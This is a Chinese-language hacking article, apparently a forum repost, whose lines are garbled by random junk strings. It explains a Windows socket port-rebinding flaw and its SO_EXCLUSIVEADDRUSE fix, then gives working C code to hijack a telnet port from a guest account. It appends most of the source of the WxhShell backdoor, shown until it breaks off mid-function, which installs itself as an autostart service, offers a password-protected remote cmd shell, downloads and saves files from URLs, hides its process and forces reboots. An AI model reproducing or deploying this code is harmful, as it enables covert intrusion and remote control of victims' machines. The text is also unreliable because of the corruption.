在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
GV)<Q^9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0JgL2ayIVI Tu{h<Zy saddr.sin_family = AF_INET;
)!g{Sbl ]
2DH; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZYf2XI(_" Xi?b]Z bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
pE{yv1Yg )$w*V9d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
r'CM vHAg-Avc 这意味着什么?意味着可以进行如下的攻击:
7iHK_\t n 2L AYDaS 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
k5kdCC0FCk -(`OcGM'L 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
L=2y57&Y {_(\`> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
as=m`DqOh =0@&GOq 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
&t5{J53
tvXW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#j@71]GI pLMRwgzr 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>7!6nF3x, <Sz52Suh> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}M1sksk5 ZEYgK)^ #include
?ER-25S #include
{]z4k[;.h #include
,!V]jP) #include
/(O$(35 DWORD WINAPI ClientThread(LPVOID lpParam);
gPAX4' int main()
[2ax>Yk$ {
]"c+sMW WORD wVersionRequested;
h^
-.]Y DWORD ret;
"NRDNqj( WSADATA wsaData;
!6Sd(2 BOOL val;
~gz^Cdh SOCKADDR_IN saddr;
fN"(mW>! SOCKADDR_IN scaddr;
Bl9jkq
] int err;
tBTTCwNT% SOCKET s;
{pb>$G:gfx SOCKET sc;
/7!""{1\\ int caddsize;
:V2bS HANDLE mt;
x8;`i$ DWORD tid;
'0$?h9" wVersionRequested = MAKEWORD( 2, 2 );
&V>fYgui err = WSAStartup( wVersionRequested, &wsaData );
o]IjK if ( err != 0 ) {
IVr 2y8K printf("error!WSAStartup failed!\n");
>NB?&| return -1;
%4\OPw& }
H:p Z-v* saddr.sin_family = AF_INET;
fYE(n8W3 i{D=l7j|w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+GsWTEz XC7%vDIt saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
B2Xn?i3 l saddr.sin_port = htons(23);
*m%]zj0bo if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$+}+zZX5 {
FgL,k printf("error!socket failed!\n");
[ofqGwpDG return -1;
nW"q }
6<0n *& val = TRUE;
;n\= R 5. //SO_REUSEADDR选项就是可以实现端口重绑定的
UD~p'^.m_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
$D31Q[p=+ {
N_L,]QT? printf("error!setsockopt failed!\n");
mAk{"65V return -1;
.qk]$LJF7 }
<o2r~E0r3 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
A]L%dFK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
??hJEE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
jL)WPq!m+ KJE[+R H+z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4@.|_zY {
%3HVFhl ret=GetLastError();
R:p62c;Tv0 printf("error!bind failed!\n");
'03->7V return -1;
q9"=mO0J+ }
K
~ 44i listen(s,2);
&rDM<pO #- while(1)
:b[`
v {
LJX-AO.4 caddsize = sizeof(scaddr);
)} DUMq7 //接受连接请求
g+-;J+X8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
e T'nl,e| if(sc!=INVALID_SOCKET)
Vtppuu$ {
9+,R`v mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
t6c<kIQ:-O if(mt==NULL)
v){ .Z^_C {
Nr2 C@FU:0 printf("Thread Creat Failed!\n");
t>B^q3\q? break;
zo;^m| }
?j^=u:< }
]a2W e` CloseHandle(mt);
C@N1ljXJT }
q_
=b<.; closesocket(s);
e6=]m#O9 WSACleanup();
(wc03,K^ return 0;
+l^LlqA }
{b]aC DWORD WINAPI ClientThread(LPVOID lpParam)
*/ G<!W {
_md=Q$9!m SOCKET ss = (SOCKET)lpParam;
UN"(5a8. SOCKET sc;
[<`SfE unsigned char buf[4096];
|%~+2m SOCKADDR_IN saddr;
QrApxiw long num;
(h']a! DWORD val;
IPuA#C DWORD ret;
6)pH|d.FR //如果是隐藏端口应用的话,可以在此处加一些判断
w@2Vts //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,mPnQ? saddr.sin_family = AF_INET;
W~_t~Vg5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
D[O{(<9 saddr.sin_port = htons(23);
?}Z1(it0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
E2GGEKrW {
iAY!oZR(WT printf("error!socket failed!\n");
\yrisp#` return -1;
K; FW }
<lr*ZSNY val = 100;
jClj_E if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7\o!HMfK {
H1!iP$1#V ret = GetLastError();
ch5s<x#CE return -1;
>]'yK!a? }
K}[>T(0E if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ck#"*], {
,?
E&V_5 ret = GetLastError();
9>/wUQs!] return -1;
HG/p$L* }
=TR,~8Z| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
w",?
Bef
{
G
;?qWB, printf("error!socket connect failed!\n");
Ou'?]{ closesocket(sc);
l0*Gb closesocket(ss);
}awzO# return -1;
?_\$ }
4^6.~6a while(1)
7dihVvL
$ {
SFH-^ly&D //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
DaNW~rd{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
=1dI>M>tm //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^s\3/z>b4! num = recv(ss,buf,4096,0);
^EVc 95|Z if(num>0)
{Hr$wa~ send(sc,buf,num,0);
I
PE}gp else if(num==0)
_eLWQ|6Fx break;
59(U `X num = recv(sc,buf,4096,0);
"S~_[/q if(num>0)
(_*
wt]"' send(ss,buf,num,0);
A`O <6
else if(num==0)
+.[\g|G break;
dsK&U\ej} }
Vbh6HqAHxJ closesocket(ss);
\^*<
y-jL closesocket(sc);
Y^$HrI(vq return 0 ;
'NZGQebK }
%Qn(rA@9 b(GFMk Np)3+!^1" ==========================================================
3E} An% 8:ggECD 下边附上一个代码,,WXhSHELL
O`FqD{@V 4n
3Tp{Y} ==========================================================
x}fn'iUnm 3L-^<'~-k; #include "stdafx.h"
yh;Y,;4 :ZdUx #include <stdio.h>
]TO/kl/ #include <string.h>
b
hjZ7= #include <windows.h>
"$p#&W69"J #include <winsock2.h>
H;<!TX.zD #include <winsvc.h>
HU
B|bKy #include <urlmon.h>
(.K\Jg'Y6j \zXlN #pragma comment (lib, "Ws2_32.lib")
x:K?\< #pragma comment (lib, "urlmon.lib")
>L((2wfiN =4C}{IL #define MAX_USER 100 // 最大客户端连接数
j'Y/ H5 #define BUF_SOCK 200 // sock buffer
h?@G$%2 #define KEY_BUFF 255 // 输入 buffer
)tZ`K
| &!7+Yb(1 #define REBOOT 0 // 重启
<*'cf2Q$Av #define SHUTDOWN 1 // 关机
Y5A~E#zw [nN7qG #define DEF_PORT 5000 // 监听端口
PW}OU9is fF?6j #define REG_LEN 16 // 注册表键长度
+ R$?2 #define SVC_LEN 80 // NT服务名长度
#?}6t~ ed~R>F> // 从dll定义API
&ju- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,W5.:0Y;f[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
M\/XP| 7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
TmEYW< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
y93k_iq$S !MZw#=D` // wxhshell配置信息
ateUpGM QU struct WSCFG {
mAqDjRV1 int ws_port; // 监听端口
sB}]yw char ws_passstr[REG_LEN]; // 口令
$,1dQeE int ws_autoins; // 安装标记, 1=yes 0=no
#Olg(:\ char ws_regname[REG_LEN]; // 注册表键名
Uku5wPS char ws_svcname[REG_LEN]; // 服务名
:jNYP{Br char ws_svcdisp[SVC_LEN]; // 服务显示名
4yV].2#rl" char ws_svcdesc[SVC_LEN]; // 服务描述信息
;cP8 ?U char ws_passmsg[SVC_LEN]; // 密码输入提示信息
C;1PsSE+A int ws_downexe; // 下载执行标记, 1=yes 0=no
Q/_#k/R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
4~?2wvz G4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.{dE}2^ gzfb zt}? };
H9"= p ;'kI/(;;C // default Wxhshell configuration
T@+ClZi struct WSCFG wscfg={DEF_PORT,
OS7RQw1 "xuhuanlingzhe",
+!>LY 1,
u?Hb(xZtg= "Wxhshell",
nW;kcS*A "Wxhshell",
a#(U2OP "WxhShell Service",
=TcOn Qj "Wrsky Windows CmdShell Service",
D(Ix!G/ "Please Input Your Password: ",
!c8L[/L 1,
/J%do]PDl "
http://www.wrsky.com/wxhshell.exe",
T`L}[?w "Wxhshell.exe"
vb =CFV# };
n`5WXpz4; 4KIWb~0Y // 消息定义模块
Cyk s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'Tf9z+0; char *msg_ws_prompt="\n\r? for help\n\r#>";
xe:' 8J6L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
FUTn char *msg_ws_ext="\n\rExit.";
f'/ KMe%< char *msg_ws_end="\n\rQuit.";
n
E:'Zxj char *msg_ws_boot="\n\rReboot...";
(9.yOc4 char *msg_ws_poff="\n\rShutdown...";
cK}Pf+r> char *msg_ws_down="\n\rSave to ";
{Bs+G/?o/ O8 RzUg& char *msg_ws_err="\n\rErr!";
4
eh=f!(+ char *msg_ws_ok="\n\rOK!";
XoL[
r67Z sWxK~Yg char ExeFile[MAX_PATH];
?z.Isvn int nUser = 0;
b :\D\X HANDLE handles[MAX_USER];
P.4E{.)( int OsIsNt;
g^lFML|
% mx tgb$* SERVICE_STATUS serviceStatus;
iz
x[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
J%P)%yX S=9E@(] // 函数声明
7>je6*(K int Install(void);
#tz8{o?ebN int Uninstall(void);
t[O+B6 int DownloadFile(char *sURL, SOCKET wsh);
rc~Y=m int Boot(int flag);
z-Hkz void HideProc(void);
(&Q)EBdm int GetOsVer(void);
9+VF<;Xw int Wxhshell(SOCKET wsl);
JLW$+62 void TalkWithClient(void *cs);
K`+vfqX int CmdShell(SOCKET sock);
[}k| int StartFromService(void);
&l^n4 int StartWxhshell(LPSTR lpCmdLine);
BR3mAF -uR{X G. D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
mTd<2Hy VOID WINAPI NTServiceHandler( DWORD fdwControl );
#eEvF YRa4W.&Yn // 数据结构和表定义
[t}):}~F| SERVICE_TABLE_ENTRY DispatchTable[] =
D0M!"c>\ {
GVp {wscfg.ws_svcname, NTServiceMain},
hmzair3X {NULL, NULL}
q!*MH/R };
c,BAa*]K j;0ih_Z@4W // 自我安装
i+U51t< int Install(void)
!$E~\uT {
wO.B~`y char svExeFile[MAX_PATH];
mVrK z HKEY key;
\9jpCNdJ strcpy(svExeFile,ExeFile);
"'aqb~j^ 9S"N4c> // 如果是win9x系统,修改注册表设为自启动
Gc}0]!nrW9 if(!OsIsNt) {
1Zq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=tq7z =k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
E3tj/4:L RegCloseKey(key);
{{zua-F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r`>~Lp` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J[+Tj@n' RegCloseKey(key);
p2a?9R return 0;
a@k.$ }
2VMX:&3 5J }
#Y: ~UVV }
U,ELqi \ else {
vK'9{q|g `vH&K{ // 如果是NT以上系统,安装为系统服务
e5qvyUJM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{jUvKB_x if (schSCManager!=0)
Ps |QW {
,*w>z SC_HANDLE schService = CreateService
Jmy)J!ib* (
C&oxi$J:p+ schSCManager,
V%o#AfMI_ wscfg.ws_svcname,
m`a>,%}P" wscfg.ws_svcdisp,
o@@_J@}# SERVICE_ALL_ACCESS,
"?+UI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SNxz*`@4 SERVICE_AUTO_START,
T:'+6
SERVICE_ERROR_NORMAL,
* S{\#s svExeFile,
ZU^Q1}</5 NULL,
A ')(SGSc NULL,
5
2fO)! NULL,
m^Rd Iy) NULL,
lk~dgky@ NULL
q"l>`KCG` );
n4XMN\:g{ if (schService!=0)
?9,YVylg {
'iGMn_& CloseServiceHandle(schService);
W=M<
c@ CloseServiceHandle(schSCManager);
>]C<j4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
b/G8Mr strcat(svExeFile,wscfg.ws_svcname);
;]"n?uo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
;\q<zO@x RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
w0\4Wa RegCloseKey(key);
L&rO6 return 0;
-
Ra\^uz }
M Yu?&}%^ }
WY3_7k8u CloseServiceHandle(schSCManager);
%!D_q~"H }
&F9OZMK= }
6J]~A0vsi} V9gVn?O0 return 1;
@eA %(C }
AwA1&mh )m)h/_ // 自我卸载
vN'VDvVM int Uninstall(void)
O} (E(v {
J1& A,Gb HKEY key;
kS[Dy$AB/2 ;q'DGzh if(!OsIsNt) {
y K=S!7p\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C!`>cUhE{ RegDeleteValue(key,wscfg.ws_regname);
c;nx59w]q RegCloseKey(key);
EGr|BLl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i<0D
Z_rub RegDeleteValue(key,wscfg.ws_regname);
o<~-k,{5P RegCloseKey(key);
PlF89- return 0;
*C
tsFS~ }
`f2W;@V0 }
54;l*}8Hl }
t.gq5Y.[ else {
Cbazwq eR(\s_` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
sf<Q#ieTxY if (schSCManager!=0)
m`[oT\ {
cYE./1D a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i=x.tsJ:hB if (schService!=0)
f&+XPd % {
BJ_+z gf` if(DeleteService(schService)!=0) {
7=; D0SS CloseServiceHandle(schService);
t@l(xns V CloseServiceHandle(schSCManager);
q+r `e return 0;
(ej:_w1 }
J~M H_N CloseServiceHandle(schService);
|;X?">7NW }
N:"M&EUM CloseServiceHandle(schSCManager);
s0_-1VU }
ab8oMi`z
}
O-y6!u$6& ?r^
hmu"a return 1;
hg$qbeUl }
u4`mQ6 +R3\cRM // 从指定url下载文件
3(cU) int DownloadFile(char *sURL, SOCKET wsh)
A%.J%[MVz {
Q:'qw#P/C HRESULT hr;
'Wo?%n char seps[]= "/";
ocb%&m;i char *token;
!hwzKm=%N char *file;
^aGZJiyJ char myURL[MAX_PATH];
l{M;PaJ`} char myFILE[MAX_PATH];
)Ix-5084 %AzPAWcN strcpy(myURL,sURL);
x&Q+|b% token=strtok(myURL,seps);
7yc9`j}] while(token!=NULL)
*%P>x}6w3 {
^.ZSpc}< file=token;
JUe K"|fA token=strtok(NULL,seps);
CwTS /G }
0BbiQXU !$%/
rQ9 GetCurrentDirectory(MAX_PATH,myFILE);
vB&F_"/X2 strcat(myFILE, "\\");
>C*?17\ strcat(myFILE, file);
_"R3N send(wsh,myFILE,strlen(myFILE),0);
J3]qg.B%z send(wsh,"...",3,0);
Td["l!-fe hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
krEH`f if(hr==S_OK)
L:|X/c9r[ return 0;
EqNz L*E else
]Ct`4pA return 1;
yv6Zo0s<J mq|A8>g }
BK`Q)[ 0~PXa(!^K // 系统电源模块
_mIa8K; int Boot(int flag)
Uxj<x`<1x {
%J/fg<W1 HANDLE hToken;
"z{_hp{T^ TOKEN_PRIVILEGES tkp;
^g}gT-l% :,xyVb+ if(OsIsNt) {
=UI,+P: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}a #b$]Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
.!7Fe)(x tkp.PrivilegeCount = 1;
$M}k%Z
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Ak%no3:9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=hZ&66 if(flag==REBOOT) {
ft~| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
CP F>^Mp# return 0;
xdFP$Y~ogy }
UY }9 else {
X\c1q4oB[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
PsF- 9&_ return 0;
XudH }
FOlA* U4U }
yi
AG'[ else {
Zh@4_Z9n! if(flag==REBOOT) {
1`2);b{@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Tb!B!m return 0;
*783xEF>f }
O&rD4# else {
q>D4ma^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&F<J#cfe8 return 0;
" kE:T., }
BCa90 }
1{\,5U& BM=V,BZy return 1;
P0`>{!r6@ }
+7lRP)1R Xj})?{FP // win9x进程隐藏模块
X1
0"G~0 void HideProc(void)
>tXufzW {
&dwI8@& ~q'w),bE"Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
t9$AvE#a!= if ( hKernel != NULL )
]sm0E@ 1 {
Y7b,td1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;S{Ld1; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]$?zT`>(F FreeLibrary(hKernel);
m"?'hR2 }
\U<F\i k
Nf!j return;
U:pLnNp` }
fRv
S@ :)
Fp
B" // 获取操作系统版本
O_s9 int GetOsVer(void)
b Q9"GO<X {
Us@ {w`T OSVERSIONINFO winfo;
[X$|dOm'N winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1=/MT#d^?
GetVersionEx(&winfo);
5w,YBUp if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
w7`@=kVx return 1;
[#
tT o;q else
pT_e;,KW
U return 0;
:(S/$^ U }
RB$ 8^# L[QI 5N // 客户端句柄模块
"PDSqYA int Wxhshell(SOCKET wsl)
+n8I(l= {
9rf|r
3 SOCKET wsh;
)@lo ';\ struct sockaddr_in client;
]'
"^M DWORD myID;
8^ ~ZNU-~v kw-Kx4 ) while(nUser<MAX_USER)
i-"h"nF" {
Z>MJ0J76] int nSize=sizeof(client);
tUAY]BJ*s wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
w'!}(Z5X? if(wsh==INVALID_SOCKET) return 1;
[r~rIb%Zj \3y=0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#`6OC)1J if(handles[nUser]==0)
HS5Ug'\446 closesocket(wsh);
Lct+cKKU else
6_`eTL=G nUser++;
qS/71Kv' }
I}g|n0o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
45O6TqepN ^&G O4u return 0;
x"C93ft[ }
8 *(W |J R2H\;N // 关闭 socket
wHN`-
5% void CloseIt(SOCKET wsh)
onJ[&f {
M'!!EQo closesocket(wsh);
hcp'+: nUser--;
sVm'9k ExitThread(0);
(EF$^FYPK }
I;":O"ij\ |)P;%Fy9 // 客户端请求句柄
^x1D]+ void TalkWithClient(void *cs)
x+)hL
D[
n {
<4A(Z$ZX) gQ+_&'C SOCKET wsh=(SOCKET)cs;
j|$y)FBX char pwd[SVC_LEN];
Lw2YP[CR char cmd[KEY_BUFF];
E/ed0'|m char chr[1];
XGrxzO|{ int i,j;
Rp@}9qijb k f K"i while (nUser < MAX_USER) {
Zs K'</7 +[l{C+p if(wscfg.ws_passstr) {
I}Gl*@K&O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)*L?PT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cX=b q_ //ZeroMemory(pwd,KEY_BUFF);
Dil4ut-$ i=0;
a~N)qYL: while(i<SVC_LEN) {
}"; hz*a #.G>SeTn2} // 设置超时
{D2d({7 fd_set FdRead;
$,@ rKRY struct timeval TimeOut;
CPCB!8-5 FD_ZERO(&FdRead);
^&w'`-ra FD_SET(wsh,&FdRead);
;uo|4?E:\( TimeOut.tv_sec=8;
$}h_EI6hS TimeOut.tv_usec=0;
\?mU$,voI int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
NN pa69U if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
G?/8&%8 1.OXkgh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Y<$"]@w pwd
=chr[0]; zZ"')+7q&%
if(chr[0]==0xd || chr[0]==0xa) { wCE fR!i
pwd=0; +VI0 oo {Z
break; wYxFjXm
} >8HRnCyp/
i++; +w}%gps
} (S93 %ii
Z YO/'YW
// 如果是非法用户,关闭 socket 1~ZHC[ `
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); By"ul:.D
} H(ftOd.y
%KVRiX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5>k~yaju/
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <HX-qNA?
[(^''*7r+T
while(1) { HBkQ`T
GISI8W^
ZeroMemory(cmd,KEY_BUFF); 6 VJj(9%
,4I6Rw B.
// 自动支持客户端 telnet标准 l[j0(T
j=0; AE@Rn(1.
while(j<KEY_BUFF) { T=KrT7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I3=Sc^zz&V
cmd[j]=chr[0]; L$07u{Q
if(chr[0]==0xa || chr[0]==0xd) { 9!OCilG
cmd[j]=0; .;sPG
break; k/rkJ|i+p
} {}gk4xr
j++; "%iR-s_>
} [8g\pPQ
!~DkA7i 55
// 下载文件 i*rv_G|(Zj
if(strstr(cmd,"http://")) { sU3V)7"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yy:sZJ
if(DownloadFile(cmd,wsh)) =|zyi|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); us *l+Jw,m
else s5|)4Zac
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8{^GC(W{]
} Yy;1N{dbT
else { Z`h_oK#y15
20xGj?M
switch(cmd[0]) { x-k/rZ
<5L` d}
// 帮助 JZ0+VB-3U
case '?': { !Dn1pjxc
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |&*rSp2iH
break; _5 -"<
} e/~<\
// 安装 wA+4:CF@
case 'i': { g}`CdVQ2M<
if(Install()) R1%T>2"~&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !f[N&se
else 3JO:n6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B
~bU7.Cd
break; 3gXUfv2ID
} #3jZ7RqzQ
// 卸载 C
5!6k1TcE
case 'r': { 3]82gZGG
if(Uninstall()) ,=yIfbFQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <1K:
G/!
else ol>=tk 8}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6EGEwx
break; 3Jit2W4
} Xq$0% WjG
// 显示 wxhshell 所在路径 c=mFYsSv
case 'p': { oO,p.X%
char svExeFile[MAX_PATH]; ,$*klod
strcpy(svExeFile,"\n\r"); o{,(`o.1O
strcat(svExeFile,ExeFile); E 4(muhY
send(wsh,svExeFile,strlen(svExeFile),0); {_D'\i(Y_
break; BbhdGFG1
} 6iS+3+
// 重启
C_&tOt
case 'b': { 4ov~y1Da)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JIkmtZv
if(Boot(REBOOT)) :zZM&r>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z>q_]U0
else { gC:E38u
closesocket(wsh); "A$Y)j<#G
ExitThread(0); X*;p;N
} 1%{(?uz9
break; F.w#AV
} ,*#M%Pv1t
// 关机 z(a:fL{/XG
case 'd': { g7ROA8xu
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P,], N)
if(Boot(SHUTDOWN)) ?Io2lFvI@Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L3Iz]D3s
else { {=Y&q~:8v
closesocket(wsh); CF4y$aC#
ExitThread(0); 7m$/.\5
} MYm6C;o$
break; jP]'gQ!-w
} 8BdeqgU/_
// 获取shell kF7Al]IgT
case 's': { Yf9L~K
CmdShell(wsh); W12K93tO
closesocket(wsh); >.A:6
ExitThread(0); 11'Tt!
break; 6<GWDO
} a_x6 v*
// 退出 9dv~WtH>5
case 'x': { 247>+:7z
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mI18A#[ 3
CloseIt(wsh); 1A
*8Jnw
break; =ye}IpC*M
} [\p0eUog/
// 离开 hWJc
A.A
case 'q': { IVKE dwA
send(wsh,msg_ws_end,strlen(msg_ws_end),0); sJvn#cS
closesocket(wsh); `_
L|Is=n
WSACleanup(); 7u(i4O&
k
exit(1); &ICO{#v5
break; lDXH<W?
} %;gWl1&5
} Lr &tpB<
} ]y$C6iUY*
-"H9 W:
// 提示信息 wm4e:&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .YlM'E*X
} Hs` '](
} 5sUnEHN
mUw,q;{
return; Li^V?
} oPV"JGa/B4
.:/@<V+K
// shell模块句柄
q\"$~*
int CmdShell(SOCKET sock) ]QQ"7_+
{ ^m9cEl^:nQ
STARTUPINFO si; XQPJ(.G
ZeroMemory(&si,sizeof(si)); 0]HIc
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pQi -
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZG|T-r;~
PROCESS_INFORMATION ProcessInfo; c9'b`# '
char cmdline[]="cmd"; Ws@s(5r
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x@ )u:0
return 0; HmKE>C/
} ySZ)yT
R(fR1
// 自身启动模式 vYkoh/(/u
int StartFromService(void) Q[^d{e*l
{ bx>D
typedef struct xcA`W|M
{ zrM|8Cu
DWORD ExitStatus; im"v75 tc
